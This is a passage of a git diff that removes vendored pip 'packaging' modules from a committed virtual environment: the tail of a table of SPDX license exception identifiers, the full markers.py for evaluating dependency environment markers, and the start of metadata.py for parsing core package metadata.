-    'asterisk-linking-protocols-exception': {'id': 'Asterisk-linking-protocols-exception', 'deprecated': False},
-    'autoconf-exception-2.0': {'id': 'Autoconf-exception-2.0', 'deprecated': False},
-    'autoconf-exception-3.0': {'id': 'Autoconf-exception-3.0', 'deprecated': False},
-    'autoconf-exception-generic': {'id': 'Autoconf-exception-generic', 'deprecated': False},
-    'autoconf-exception-generic-3.0': {'id': 'Autoconf-exception-generic-3.0', 'deprecated': False},
-    'autoconf-exception-macro': {'id': 'Autoconf-exception-macro', 'deprecated': False},
-    'bison-exception-1.24': {'id': 'Bison-exception-1.24', 'deprecated': False},
-    'bison-exception-2.2': {'id': 'Bison-exception-2.2', 'deprecated': False},
-    'bootloader-exception': {'id': 'Bootloader-exception', 'deprecated': False},
-    'cgal-linking-exception': {'id': 'CGAL-linking-exception', 'deprecated': False},
-    'classpath-exception-2.0': {'id': 'Classpath-exception-2.0', 'deprecated': False},
-    'clisp-exception-2.0': {'id': 'CLISP-exception-2.0', 'deprecated': False},
-    'cryptsetup-openssl-exception': {'id': 'cryptsetup-OpenSSL-exception', 'deprecated': False},
-    'digia-qt-lgpl-exception-1.1': {'id': 'Digia-Qt-LGPL-exception-1.1', 'deprecated': False},
-    'digirule-foss-exception': {'id': 'DigiRule-FOSS-exception', 'deprecated': False},
-    'ecos-exception-2.0': {'id': 'eCos-exception-2.0', 'deprecated': False},
-    'erlang-otp-linking-exception': {'id': 'erlang-otp-linking-exception', 'deprecated': False},
-    'fawkes-runtime-exception': {'id': 'Fawkes-Runtime-exception', 'deprecated': False},
-    'fltk-exception': {'id': 'FLTK-exception', 'deprecated': False},
-    'fmt-exception': {'id': 'fmt-exception', 'deprecated': False},
-    'font-exception-2.0': {'id': 'Font-exception-2.0', 'deprecated': False},
-    'freertos-exception-2.0': {'id': 'freertos-exception-2.0', 'deprecated': False},
-    'gcc-exception-2.0': {'id': 'GCC-exception-2.0', 'deprecated': False},
-    'gcc-exception-2.0-note': {'id': 'GCC-exception-2.0-note', 'deprecated': False},
-    'gcc-exception-3.1': {'id': 'GCC-exception-3.1', 'deprecated': False},
-    'gmsh-exception': {'id': 'Gmsh-exception', 'deprecated': False},
-    'gnat-exception': {'id': 'GNAT-exception', 'deprecated': False},
-    'gnome-examples-exception': {'id': 'GNOME-examples-exception', 'deprecated': False},
-    'gnu-compiler-exception': {'id': 'GNU-compiler-exception', 'deprecated': False},
-    'gnu-javamail-exception': {'id': 'gnu-javamail-exception', 'deprecated': False},
-    'gpl-3.0-389-ds-base-exception': {'id': 'GPL-3.0-389-ds-base-exception', 'deprecated': False},
-    'gpl-3.0-interface-exception': {'id': 'GPL-3.0-interface-exception', 'deprecated': False},
-    'gpl-3.0-linking-exception': {'id': 'GPL-3.0-linking-exception', 'deprecated': False},
-    'gpl-3.0-linking-source-exception': {'id': 'GPL-3.0-linking-source-exception', 'deprecated': False},
-    'gpl-cc-1.0': {'id': 'GPL-CC-1.0', 'deprecated': False},
-    'gstreamer-exception-2005': {'id': 'GStreamer-exception-2005', 'deprecated': False},
-    'gstreamer-exception-2008': {'id': 'GStreamer-exception-2008', 'deprecated': False},
-    'harbour-exception': {'id': 'harbour-exception', 'deprecated': False},
-    'i2p-gpl-java-exception': {'id': 'i2p-gpl-java-exception', 'deprecated': False},
-    'independent-modules-exception': {'id': 'Independent-modules-exception', 'deprecated': False},
-    'kicad-libraries-exception': {'id': 'KiCad-libraries-exception', 'deprecated': False},
-    'lgpl-3.0-linking-exception': {'id': 'LGPL-3.0-linking-exception', 'deprecated': False},
-    'libpri-openh323-exception': {'id': 'libpri-OpenH323-exception', 'deprecated': False},
-    'libtool-exception': {'id': 'Libtool-exception', 'deprecated': False},
-    'linux-syscall-note': {'id': 'Linux-syscall-note', 'deprecated': False},
-    'llgpl': {'id': 'LLGPL', 'deprecated': False},
-    'llvm-exception': {'id': 'LLVM-exception', 'deprecated': False},
-    'lzma-exception': {'id': 'LZMA-exception', 'deprecated': False},
-    'mif-exception': {'id': 'mif-exception', 'deprecated': False},
-    'mxml-exception': {'id': 'mxml-exception', 'deprecated': False},
-    'nokia-qt-exception-1.1': {'id': 'Nokia-Qt-exception-1.1', 'deprecated': True},
-    'ocaml-lgpl-linking-exception': {'id': 'OCaml-LGPL-linking-exception', 'deprecated': False},
-    'occt-exception-1.0': {'id': 'OCCT-exception-1.0', 'deprecated': False},
-    'openjdk-assembly-exception-1.0': {'id': 'OpenJDK-assembly-exception-1.0', 'deprecated': False},
-    'openvpn-openssl-exception': {'id': 'openvpn-openssl-exception', 'deprecated': False},
-    'pcre2-exception': {'id': 'PCRE2-exception', 'deprecated': False},
-    'polyparse-exception': {'id': 'polyparse-exception', 'deprecated': False},
-    'ps-or-pdf-font-exception-20170817': {'id': 'PS-or-PDF-font-exception-20170817', 'deprecated': False},
-    'qpl-1.0-inria-2004-exception': {'id': 'QPL-1.0-INRIA-2004-exception', 'deprecated': False},
-    'qt-gpl-exception-1.0': {'id': 'Qt-GPL-exception-1.0', 'deprecated': False},
-    'qt-lgpl-exception-1.1': {'id': 'Qt-LGPL-exception-1.1', 'deprecated': False},
-    'qwt-exception-1.0': {'id': 'Qwt-exception-1.0', 'deprecated': False},
-    'romic-exception': {'id': 'romic-exception', 'deprecated': False},
-    'rrdtool-floss-exception-2.0': {'id': 'RRDtool-FLOSS-exception-2.0', 'deprecated': False},
-    'sane-exception': {'id': 'SANE-exception', 'deprecated': False},
-    'shl-2.0': {'id': 'SHL-2.0', 'deprecated': False},
-    'shl-2.1': {'id': 'SHL-2.1', 'deprecated': False},
-    'stunnel-exception': {'id': 'stunnel-exception', 'deprecated': False},
-    'swi-exception': {'id': 'SWI-exception', 'deprecated': False},
-    'swift-exception': {'id': 'Swift-exception', 'deprecated': False},
-    'texinfo-exception': {'id': 'Texinfo-exception', 'deprecated': False},
-    'u-boot-exception-2.0': {'id': 'u-boot-exception-2.0', 'deprecated': False},
-    'ubdl-exception': {'id': 'UBDL-exception', 'deprecated': False},
-    'universal-foss-exception-1.0': {'id': 'Universal-FOSS-exception-1.0', 'deprecated': False},
-    'vsftpd-openssl-exception': {'id': 'vsftpd-openssl-exception', 'deprecated': False},
-    'wxwindows-exception-3.1': {'id': 'WxWindows-exception-3.1', 'deprecated': False},
-    'x11vnc-openssl-exception': {'id': 'x11vnc-openssl-exception', 'deprecated': False},
-}
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/markers.py b/venv/Lib/site-packages/pip/_vendor/packaging/markers.py
deleted file mode 100644
index 62846452f943f3697998f1822e71cc16537e6f92..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/markers.py
+++ /dev/null
@@ -1,492 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-from __future__ import annotations
-
-import operator
-import os
-import platform
-import sys
-from typing import AbstractSet, Callable, Literal, Mapping, TypedDict, Union, cast
-
-from ._parser import MarkerAtom, MarkerList, Op, Value, Variable
-from ._parser import parse_marker as _parse_marker
-from ._tokenizer import ParserSyntaxError
-from .specifiers import InvalidSpecifier, Specifier
-from .utils import canonicalize_name
-
-__all__ = [
-    "Environment",
-    "EvaluateContext",
-    "InvalidMarker",
-    "Marker",
-    "UndefinedComparison",
-    "UndefinedEnvironmentName",
-    "default_environment",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-Operator = Callable[[str, Union[str, AbstractSet[str]]], bool]
-EvaluateContext = Literal["metadata", "lock_file", "requirement"]
-"""A ``typing.Literal`` enumerating valid marker evaluation contexts.
-
-Valid values for the ``context`` passed to :meth:`Marker.evaluate` are:
-
-* ``"metadata"`` (for core metadata; default)
-* ``"lock_file"`` (for lock files)
-* ``"requirement"`` (i.e. all other situations)
-"""
-
-MARKERS_ALLOWING_SET = {"extras", "dependency_groups"}
-MARKERS_REQUIRING_VERSION = {
-    "implementation_version",
-    "platform_release",
-    "python_full_version",
-    "python_version",
-}
-
-
-class InvalidMarker(ValueError):
-    """Raised when attempting to create a :class:`Marker` from invalid input.
-
-    This error indicates that the given marker string does not conform to the
-    :ref:`specification of dependency specifiers `.
-    """
-
-
-class UndefinedComparison(ValueError):
-    """Raised when evaluating an unsupported marker comparison.
-
-    This can happen when marker values are compared as versions but do not
-    conform to the :ref:`specification of version specifiers
-    `.
-    """
-
-
-class UndefinedEnvironmentName(ValueError):
-    """Raised when evaluating a marker that references a missing environment key."""
-
-
-class Environment(TypedDict):
-    """
-    A dictionary that represents a Python environment as captured by
-    :func:`default_environment`. All fields are required.
-    """
-
-    implementation_name: str
-    """The implementation's identifier, e.g. ``'cpython'``."""
-
-    implementation_version: str
-    """
-    The implementation's version, e.g. ``'3.13.0a2'`` for CPython 3.13.0a2, or
-    ``'7.3.13'`` for PyPy3.10 v7.3.13.
-    """
-
-    os_name: str
-    """
-    The value of :py:data:`os.name`. The name of the operating system dependent module
-    imported, e.g. ``'posix'``.
-    """
-
-    platform_machine: str
-    """
-    Returns the machine type, e.g. ``'i386'``.
-
-    An empty string if the value cannot be determined.
-    """
-
-    platform_release: str
-    """
-    The system's release, e.g. ``'2.2.0'`` or ``'NT'``.
-
-    An empty string if the value cannot be determined.
-    """
-
-    platform_system: str
-    """
-    The system/OS name, e.g. ``'Linux'``, ``'Windows'`` or ``'Java'``.
-
-    An empty string if the value cannot be determined.
-    """
-
-    platform_version: str
-    """
-    The system's release version, e.g. ``'#3 on degas'``.
-
-    An empty string if the value cannot be determined.
-    """
-
-    python_full_version: str
-    """
-    The Python version as string ``'major.minor.patchlevel'``.
-
-    Note that unlike the Python :py:data:`sys.version`, this value will always include
-    the patchlevel (it defaults to 0).
-    """
-
-    platform_python_implementation: str
-    """
-    A string identifying the Python implementation, e.g. ``'CPython'``.
-    """
-
-    python_version: str
-    """The Python version as string ``'major.minor'``."""
-
-    sys_platform: str
-    """
-    This string contains a platform identifier that can be used to append
-    platform-specific components to :py:data:`sys.path`, for instance.
-
-    For Unix systems, except on Linux and AIX, this is the lowercased OS name as
-    returned by ``uname -s`` with the first part of the version as returned by
-    ``uname -r`` appended, e.g. ``'sunos5'`` or ``'freebsd8'``, at the time when Python
-    was built.
-    """
-
-
-def _normalize_extras(
-    result: MarkerList | MarkerAtom | str,
-) -> MarkerList | MarkerAtom | str:
-    if not isinstance(result, tuple):
-        return result
-
-    lhs, op, rhs = result
-    if isinstance(lhs, Variable) and lhs.value == "extra":
-        normalized_extra = canonicalize_name(rhs.value)
-        rhs = Value(normalized_extra)
-    elif isinstance(rhs, Variable) and rhs.value == "extra":
-        normalized_extra = canonicalize_name(lhs.value)
-        lhs = Value(normalized_extra)
-    return lhs, op, rhs
-
-
-def _normalize_extra_values(results: MarkerList) -> MarkerList:
-    """
-    Normalize extra values.
-    """
-
-    return [_normalize_extras(r) for r in results]
-
-
-def _format_marker(
-    marker: list[str] | MarkerAtom | str, first: bool | None = True
-) -> str:
-    assert isinstance(marker, (list, tuple, str))
-
-    # Sometimes we have a structure like [[...]] which is a single item list
-    # where the single item is itself it's own list. In that case we want skip
-    # the rest of this function so that we don't get extraneous () on the
-    # outside.
-    if (
-        isinstance(marker, list)
-        and len(marker) == 1
-        and isinstance(marker[0], (list, tuple))
-    ):
-        return _format_marker(marker[0])
-
-    if isinstance(marker, list):
-        inner = (_format_marker(m, first=False) for m in marker)
-        if first:
-            return " ".join(inner)
-        else:
-            return "(" + " ".join(inner) + ")"
-    elif isinstance(marker, tuple):
-        return " ".join([m.serialize() for m in marker])
-    else:
-        return marker
-
-
-_operators: dict[str, Operator] = {
-    "in": lambda lhs, rhs: lhs in rhs,
-    "not in": lambda lhs, rhs: lhs not in rhs,
-    "<": lambda _lhs, _rhs: False,
-    "<=": operator.eq,
-    "==": operator.eq,
-    "!=": operator.ne,
-    ">=": operator.eq,
-    ">": lambda _lhs, _rhs: False,
-}
-
-
-def _eval_op(lhs: str, op: Op, rhs: str | AbstractSet[str], *, key: str) -> bool:
-    op_str = op.serialize()
-    if key in MARKERS_REQUIRING_VERSION:
-        try:
-            spec = Specifier(f"{op_str}{rhs}")
-        except InvalidSpecifier:
-            pass
-        else:
-            return spec.contains(lhs, prereleases=True)
-
-    oper: Operator | None = _operators.get(op_str)
-    if oper is None:
-        raise UndefinedComparison(f"Undefined {op!r} on {lhs!r} and {rhs!r}.")
-
-    return oper(lhs, rhs)
-
-
-def _normalize(
-    lhs: str, rhs: str | AbstractSet[str], key: str
-) -> tuple[str, str | AbstractSet[str]]:
-    # PEP 685 - Comparison of extra names for optional distribution dependencies
-    # https://peps.python.org/pep-0685/
-    # > When comparing extra names, tools MUST normalize the names being
-    # > compared using the semantics outlined in PEP 503 for names
-    if key == "extra":
-        assert isinstance(rhs, str), "extra value must be a string"
-        # Both sides are normalized at this point already
-        return (lhs, rhs)
-    if key in MARKERS_ALLOWING_SET:
-        if isinstance(rhs, str):  # pragma: no cover
-            return (canonicalize_name(lhs), canonicalize_name(rhs))
-        else:
-            return (canonicalize_name(lhs), {canonicalize_name(v) for v in rhs})
-
-    # other environment markers don't have such standards
-    return lhs, rhs
-
-
-def _evaluate_markers(
-    markers: MarkerList, environment: dict[str, str | AbstractSet[str]]
-) -> bool:
-    groups: list[list[bool]] = [[]]
-
-    for marker in markers:
-        if isinstance(marker, list):
-            groups[-1].append(_evaluate_markers(marker, environment))
-        elif isinstance(marker, tuple):
-            lhs, op, rhs = marker
-
-            if isinstance(lhs, Variable):
-                environment_key = lhs.value
-                lhs_value = environment[environment_key]
-                rhs_value = rhs.value
-            else:
-                lhs_value = lhs.value
-                environment_key = rhs.value
-                rhs_value = environment[environment_key]
-
-            assert isinstance(lhs_value, str), "lhs must be a string"
-            lhs_value, rhs_value = _normalize(lhs_value, rhs_value, key=environment_key)
-            groups[-1].append(_eval_op(lhs_value, op, rhs_value, key=environment_key))
-        elif marker == "or":
-            groups.append([])
-        elif marker == "and":
-            pass
-        else:  # pragma: nocover
-            raise TypeError(f"Unexpected marker {marker!r}")
-
-    return any(all(item) for item in groups)
-
-
-def _format_full_version(info: sys._version_info) -> str:
-    version = f"{info.major}.{info.minor}.{info.micro}"
-    kind = info.releaselevel
-    if kind != "final":
-        version += kind[0] + str(info.serial)
-    return version
-
-
-def default_environment() -> Environment:
-    """Return the default marker environment for the current Python process.
-
-    This is the base environment used by :meth:`Marker.evaluate`.
-    """
-    iver = _format_full_version(sys.implementation.version)
-    implementation_name = sys.implementation.name
-    return {
-        "implementation_name": implementation_name,
-        "implementation_version": iver,
-        "os_name": os.name,
-        "platform_machine": platform.machine(),
-        "platform_release": platform.release(),
-        "platform_system": platform.system(),
-        "platform_version": platform.version(),
-        "python_full_version": platform.python_version(),
-        "platform_python_implementation": platform.python_implementation(),
-        "python_version": ".".join(platform.python_version_tuple()[:2]),
-        "sys_platform": sys.platform,
-    }
-
-
-class Marker:
-    """Represents a parsed dependency marker expression.
-
-    Marker expressions are parsed according to the
-    :ref:`specification of dependency specifiers `.
-
-    :param marker: The string representation of a marker expression.
-    :raises InvalidMarker: If ``marker`` cannot be parsed.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from pip._vendor.packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = ("_markers",)
-
-    def __init__(self, marker: str) -> None:
-        # Note: We create a Marker object without calling this constructor in
-        #       packaging.requirements.Requirement. If any additional logic is
-        #       added here, make sure to mirror/adapt Requirement.
-
-        # If this fails and throws an error, the repr still expects _markers to
-        # be defined.
-        self._markers: MarkerList = []
-
-        try:
-            self._markers = _normalize_extra_values(_parse_marker(marker))
-            # The attribute `_markers` can be described in terms of a recursive type:
-            # MarkerList = List[Union[Tuple[Node, ...], str, MarkerList]]
-            #
-            # For example, the following expression:
-            # python_version > "3.6" or (python_version == "3.6" and os_name == "unix")
-            #
-            # is parsed into:
-            # [
-            #     (, ')>, ),
-            #     'and',
-            #     [
-            #         (, , ),
-            #         'or',
-            #         (, , )
-            #     ]
-            # ]
-        except ParserSyntaxError as e:
-            raise InvalidMarker(str(e)) from e
-
-    @classmethod
-    def _from_markers(cls, markers: MarkerList) -> Marker:
-        """Create a Marker instance from a pre-parsed marker tree.
-
-        This avoids re-parsing serialised marker strings when combining markers.
-        """
-        new = cls.__new__(cls)
-        new._markers = markers
-        return new
-
-    def __str__(self) -> str:
-        return _format_marker(self._markers)
-
-    def __repr__(self) -> str:
-        return f"<{self.__class__.__name__}({str(self)!r})>"
-
-    def __hash__(self) -> int:
-        return hash(str(self))
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, Marker):
-            return NotImplemented
-
-        return str(self) == str(other)
-
-    def __getstate__(self) -> str:
-        # Return the marker expression string for compactness and stability.
-        # Internal Node objects are excluded; the string is re-parsed on load.
-        return str(self)
-
-    def __setstate__(self, state: object) -> None:
-        if isinstance(state, str):
-            # New format (26.2+): just the marker expression string.
-            try:
-                self._markers = _normalize_extra_values(_parse_marker(state))
-            except ParserSyntaxError as exc:
-                raise TypeError(f"Cannot restore Marker from {state!r}") from exc
-            return
-        if isinstance(state, dict) and "_markers" in state:
-            # Old format (packaging <= 26.1, no __slots__): plain __dict__.
-            markers = state["_markers"]
-            if isinstance(markers, list):
-                self._markers = markers
-                return
-        if isinstance(state, tuple) and len(state) == 2:
-            # Old format (packaging <= 26.1, __slots__): (None, {slot: value}).
-            _, slot_dict = state
-            if isinstance(slot_dict, dict) and "_markers" in slot_dict:
-                markers = slot_dict["_markers"]
-                if isinstance(markers, list):
-                    self._markers = markers
-                    return
-        raise TypeError(f"Cannot restore Marker from {state!r}")
-
-    def __and__(self, other: Marker) -> Marker:
-        if not isinstance(other, Marker):
-            return NotImplemented
-        return self._from_markers([self._markers, "and", other._markers])
-
-    def __or__(self, other: Marker) -> Marker:
-        if not isinstance(other, Marker):
-            return NotImplemented
-        return self._from_markers([self._markers, "or", other._markers])
-
-    def evaluate(
-        self,
-        environment: Mapping[str, str | AbstractSet[str]] | None = None,
-        context: EvaluateContext = "metadata",
-    ) -> bool:
-        """Evaluate a marker.
-
-        Return the boolean from evaluating this marker against the environment.
-        The environment is determined from the current Python process unless
-        passed in explicitly.
-
-        :param environment: Mapping containing keys and values to override the
-           detected environment.
-        :param EvaluateContext context: The context in which the marker is
-            evaluated, which influences what marker names are considered valid.
-            Accepted values are ``"metadata"`` (for core metadata; default),
-            ``"lock_file"``, and ``"requirement"`` (i.e. all other situations).
-        :raises UndefinedComparison: If the marker uses a comparison on values
-            that are not valid versions per the :ref:`specification of version
-            specifiers `.
-        :raises UndefinedEnvironmentName: If the marker references a value that
-            is missing from the evaluation environment.
-        :returns: ``True`` if the marker matches, otherwise ``False``.
-
-        """
-        current_environment = cast(
-            "dict[str, str | AbstractSet[str]]", default_environment()
-        )
-        if context == "lock_file":
-            current_environment.update(
-                extras=frozenset(), dependency_groups=frozenset()
-            )
-        elif context == "metadata":
-            current_environment["extra"] = ""
-
-        if environment is not None:
-            current_environment.update(environment)
-            if "extra" in current_environment:
-                # The API used to allow setting extra to None. We need to handle
-                # this case for backwards compatibility. Also skip running
-                # normalize name if extra is empty.
-                extra = cast("str | None", current_environment["extra"])
-                current_environment["extra"] = canonicalize_name(extra) if extra else ""
-
-        return _evaluate_markers(
-            self._markers, _repair_python_full_version(current_environment)
-        )
-
-
-def _repair_python_full_version(
-    env: dict[str, str | AbstractSet[str]],
-) -> dict[str, str | AbstractSet[str]]:
-    """
-    Work around platform.python_version() returning something that is not PEP 440
-    compliant for non-tagged Python builds.
-    """
-    python_full_version = cast("str", env["python_full_version"])
-    if python_full_version.endswith("+"):
-        env["python_full_version"] = f"{python_full_version}local"
-    return env
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/metadata.py b/venv/Lib/site-packages/pip/_vendor/packaging/metadata.py
deleted file mode 100644
index dccb627dea31193b8bb1082223dcdc4305fcfb18..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/metadata.py
+++ /dev/null
@@ -1,964 +0,0 @@
-from __future__ import annotations
-
-import email.header
-import email.message
-import email.parser
-import email.policy
-import keyword
-import pathlib
-import typing
-from typing import (
-    Any,
-    Callable,
-    Generic,
-    Literal,
-    TypedDict,
-    cast,
-)
-
-from . import licenses, requirements, specifiers, utils
-from . import version as version_module
-from .errors import ExceptionGroup, _ErrorCollector
-
-if typing.TYPE_CHECKING:
-    from .licenses import NormalizedLicenseExpression
-
-T = typing.TypeVar("T")
-
-
-__all__ = [
-    "ExceptionGroup",  # Keep this for a bit (makes mypy happy w/ 26.0 compat)
-    "InvalidMetadata",
-    "Metadata",
-    "RFC822Message",
-    "RFC822Policy",
-    "RawMetadata",
-    "parse_email",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-class InvalidMetadata(ValueError):
-    """A metadata field contains invalid data."""
-
-    field: str
-    """The name of the field that contains invalid data."""
-
-    def __init__(self, field: str, message: str) -> None:
-        self.field = field
-        super().__init__(message)
-
-
-# The RawMetadata class attempts to make as few assumptions about the underlying
-# serialization formats as possible. The idea is that as long as a serialization
-# formats offer some very basic primitives in *some* way then we can support
-# serializing to and from that format.
-class RawMetadata(TypedDict, total=False):
-    """A dictionary of raw core metadata.
-
-    Each field in core metadata maps to a key of this dictionary (when data is
-    provided). The key is lower-case and underscores are used instead of dashes
-    compared to the equivalent core metadata field. Any core metadata field that
-    can be specified multiple times or can hold multiple values in a single
-    field have a key with a plural name. See :class:`Metadata` whose attributes
-    match the keys of this dictionary.
-
-    Core metadata fields that can be specified multiple times are stored as a
-    list or dict depending on which is appropriate for the field. Any fields
-    which hold multiple values in a single field are stored as a list. All fields
-    are considered optional.
-    """
-
-    # Metadata 1.0 - PEP 241
-    metadata_version: str
-    name: str
-    version: str
-    platforms: list[str]
-    summary: str
-    description: str
-    keywords: list[str]
-    home_page: str
-    author: str
-    author_email: str
-    license: str
-
-    # Metadata 1.1 - PEP 314
-    supported_platforms: list[str]
-    download_url: str
-    classifiers: list[str]
-    requires: list[str]
-    provides: list[str]
-    obsoletes: list[str]
-
-    # Metadata 1.2 - PEP 345
-    maintainer: str
-    maintainer_email: str
-    requires_dist: list[str]
-    provides_dist: list[str]
-    obsoletes_dist: list[str]
-    requires_python: str
-    requires_external: list[str]
-    project_urls: dict[str, str]
-
-    # Metadata 2.0
-    # PEP 426 attempted to completely revamp the metadata format
-    # but got stuck without ever being able to build consensus on
-    # it and ultimately ended up withdrawn.
-    #
-    # However, a number of tools had started emitting METADATA with
-    # `2.0` Metadata-Version, so for historical reasons, this version
-    # was skipped.
-
-    # Metadata 2.1 - PEP 566
-    description_content_type: str
-    provides_extra: list[str]
-
-    # Metadata 2.2 - PEP 643
-    dynamic: list[str]
-
-    # Metadata 2.3 - PEP 685
-    # No new fields were added in PEP 685, just some edge case were
-    # tightened up to provide better interoperability.
-
-    # Metadata 2.4 - PEP 639
-    license_expression: str
-    license_files: list[str]
-
-    # Metadata 2.5 - PEP 794
-    import_names: list[str]
-    import_namespaces: list[str]
-
-
-# 'keywords' is special as it's a string in the core metadata spec, but we
-# represent it as a list.
-_STRING_FIELDS = {
-    "author",
-    "author_email",
-    "description",
-    "description_content_type",
-    "download_url",
-    "home_page",
-    "license",
-    "license_expression",
-    "maintainer",
-    "maintainer_email",
-    "metadata_version",
-    "name",
-    "requires_python",
-    "summary",
-    "version",
-}
-
-_LIST_FIELDS = {
-    "classifiers",
-    "dynamic",
-    "license_files",
-    "obsoletes",
-    "obsoletes_dist",
-    "platforms",
-    "provides",
-    "provides_dist",
-    "provides_extra",
-    "requires",
-    "requires_dist",
-    "requires_external",
-    "supported_platforms",
-    "import_names",
-    "import_namespaces",
-}
-
-_DICT_FIELDS = {
-    "project_urls",
-}
-
-
-def _parse_keywords(data: str) -> list[str]:
-    """Split a string of comma-separated keywords into a list of keywords."""
-    return [k.strip() for k in data.split(",")]
-
-
-def _parse_project_urls(data: list[str]) -> dict[str, str]:
-    """Parse a list of label/URL string pairings separated by a comma."""
-    urls = {}
-    for pair in data:
-        # Our logic is slightly tricky here as we want to try and do
-        # *something* reasonable with malformed data.
-        #
-        # The main thing that we have to worry about, is data that does
-        # not have a ',' at all to split the label from the Value. There
-        # isn't a singular right answer here, and we will fail validation
-        # later on (if the caller is validating) so it doesn't *really*
-        # matter, but since the missing value has to be an empty str
-        # and our return value is dict[str, str], if we let the key
-        # be the missing value, then they'd have multiple '' values that
-        # overwrite each other in a accumulating dict.
-        #
-        # The other potential issue is that it's possible to have the
-        # same label multiple times in the metadata, with no solid "right"
-        # answer with what to do in that case. As such, we'll do the only
-        # thing we can, which is treat the field as unparsable and add it
-        # to our list of unparsed fields.
-        #
-        # TODO: The spec doesn't say anything about if the keys should be
-        #       considered case sensitive or not... logically they should
-        #       be case-preserving and case-insensitive, but doing that
-        #       would open up more cases where we might have duplicate
-        #       entries.
-        label, _, url = (s.strip() for s in pair.partition(","))
-
-        if label in urls:
-            # The label already exists in our set of urls, so this field
-            # is unparsable, and we can just add the whole thing to our
-            # unparsable data and stop processing it.
-            raise KeyError("duplicate labels in project urls")
-        urls[label] = url
-
-    return urls
-
-
-def _get_payload(msg: email.message.Message, source: bytes | str) -> str:
-    """Get the body of the message."""
-    # If our source is a str, then our caller has managed encodings for us,
-    # and we don't need to deal with it.
-    if isinstance(source, str):
-        payload = msg.get_payload()
-        assert isinstance(payload, str)
-        return payload
-    # If our source is a bytes, then we're managing the encoding and we need
-    # to deal with it.
-    else:
-        bpayload = msg.get_payload(decode=True)
-        assert isinstance(bpayload, bytes)
-        try:
-            return bpayload.decode("utf8", "strict")
-        except UnicodeDecodeError as exc:
-            raise ValueError("payload in an invalid encoding") from exc
-
-
-# The various parse_FORMAT functions here are intended to be as lenient as
-# possible in their parsing, while still returning a correctly typed
-# RawMetadata.
-#
-# To aid in this, we also generally want to do as little touching of the
-# data as possible, except where there are possibly some historic holdovers
-# that make valid data awkward to work with.
-#
-# While this is a lower level, intermediate format than our ``Metadata``
-# class, some light touch ups can make a massive difference in usability.
-
-# Map METADATA fields to RawMetadata.
-_EMAIL_TO_RAW_MAPPING = {
-    "author": "author",
-    "author-email": "author_email",
-    "classifier": "classifiers",
-    "description": "description",
-    "description-content-type": "description_content_type",
-    "download-url": "download_url",
-    "dynamic": "dynamic",
-    "home-page": "home_page",
-    "import-name": "import_names",
-    "import-namespace": "import_namespaces",
-    "keywords": "keywords",
-    "license": "license",
-    "license-expression": "license_expression",
-    "license-file": "license_files",
-    "maintainer": "maintainer",
-    "maintainer-email": "maintainer_email",
-    "metadata-version": "metadata_version",
-    "name": "name",
-    "obsoletes": "obsoletes",
-    "obsoletes-dist": "obsoletes_dist",
-    "platform": "platforms",
-    "project-url": "project_urls",
-    "provides": "provides",
-    "provides-dist": "provides_dist",
-    "provides-extra": "provides_extra",
-    "requires": "requires",
-    "requires-dist": "requires_dist",
-    "requires-external": "requires_external",
-    "requires-python": "requires_python",
-    "summary": "summary",
-    "supported-platform": "supported_platforms",
-    "version": "version",
-}
-_RAW_TO_EMAIL_MAPPING = {raw: email for email, raw in _EMAIL_TO_RAW_MAPPING.items()}
-
-
-# This class is for writing RFC822 messages
-class RFC822Policy(email.policy.EmailPolicy):
-    """
-    This is :class:`email.policy.EmailPolicy`, but with a simple ``header_store_parse``
-    implementation that handles multi-line values, and some nice defaults.
-    """
-
-    utf8 = True
-    mangle_from_ = False
-    max_line_length = 0
-
-    def header_store_parse(self, name: str, value: str) -> tuple[str, str]:
-        size = len(name) + 2
-        value = value.replace("\n", "\n" + " " * size)
-        return (name, value)
-
-
-# This class is for writing RFC822 messages
-class RFC822Message(email.message.EmailMessage):
-    """
-    This is :class:`email.message.EmailMessage` with two small changes: it defaults to
-    our `RFC822Policy`, and it correctly writes unicode when being called
-    with `bytes()`.
-    """
-
-    def __init__(self) -> None:
-        super().__init__(policy=RFC822Policy())
-
-    def as_bytes(
-        self, unixfrom: bool = False, policy: email.policy.Policy | None = None
-    ) -> bytes:
-        """
-        Return the bytes representation of the message.
-
-        This handles unicode encoding.
-        """
-        return self.as_string(unixfrom, policy=policy).encode("utf-8")
-
-
-def parse_email(data: bytes | str) -> tuple[RawMetadata, dict[str, list[str]]]:
-    """Parse a distribution's metadata stored as email headers (e.g. from ``METADATA``).
-
-    This function returns a two-item tuple of dicts. The first dict is of
-    recognized fields from the core metadata specification. Fields that can be
-    parsed and translated into Python's built-in types are converted
-    appropriately. All other fields are left as-is. Fields that are allowed to
-    appear multiple times are stored as lists.
-
-    The second dict contains all other fields from the metadata. This includes
-    any unrecognized fields. It also includes any fields which are expected to
-    be parsed into a built-in type but were not formatted appropriately. Finally,
-    any fields that are expected to appear only once but are repeated are
-    included in this dict.
-
-    """
-    raw: dict[str, str | list[str] | dict[str, str]] = {}
-    unparsed: dict[str, list[str]] = {}
-
-    if isinstance(data, str):
-        parsed = email.parser.Parser(policy=email.policy.compat32).parsestr(data)
-    else:
-        parsed = email.parser.BytesParser(policy=email.policy.compat32).parsebytes(data)
-
-    # We have to wrap parsed.keys() in a set, because in the case of multiple
-    # values for a key (a list), the key will appear multiple times in the
-    # list of keys, but we're avoiding that by using get_all().
-    for name_with_case in frozenset(parsed.keys()):
-        # Header names in RFC are case insensitive, so we'll normalize to all
-        # lower case to make comparisons easier.
-        name = name_with_case.lower()
-
-        # We use get_all() here, even for fields that aren't multiple use,
-        # because otherwise someone could have e.g. two Name fields, and we
-        # would just silently ignore it rather than doing something about it.
-        headers = parsed.get_all(name) or []
-
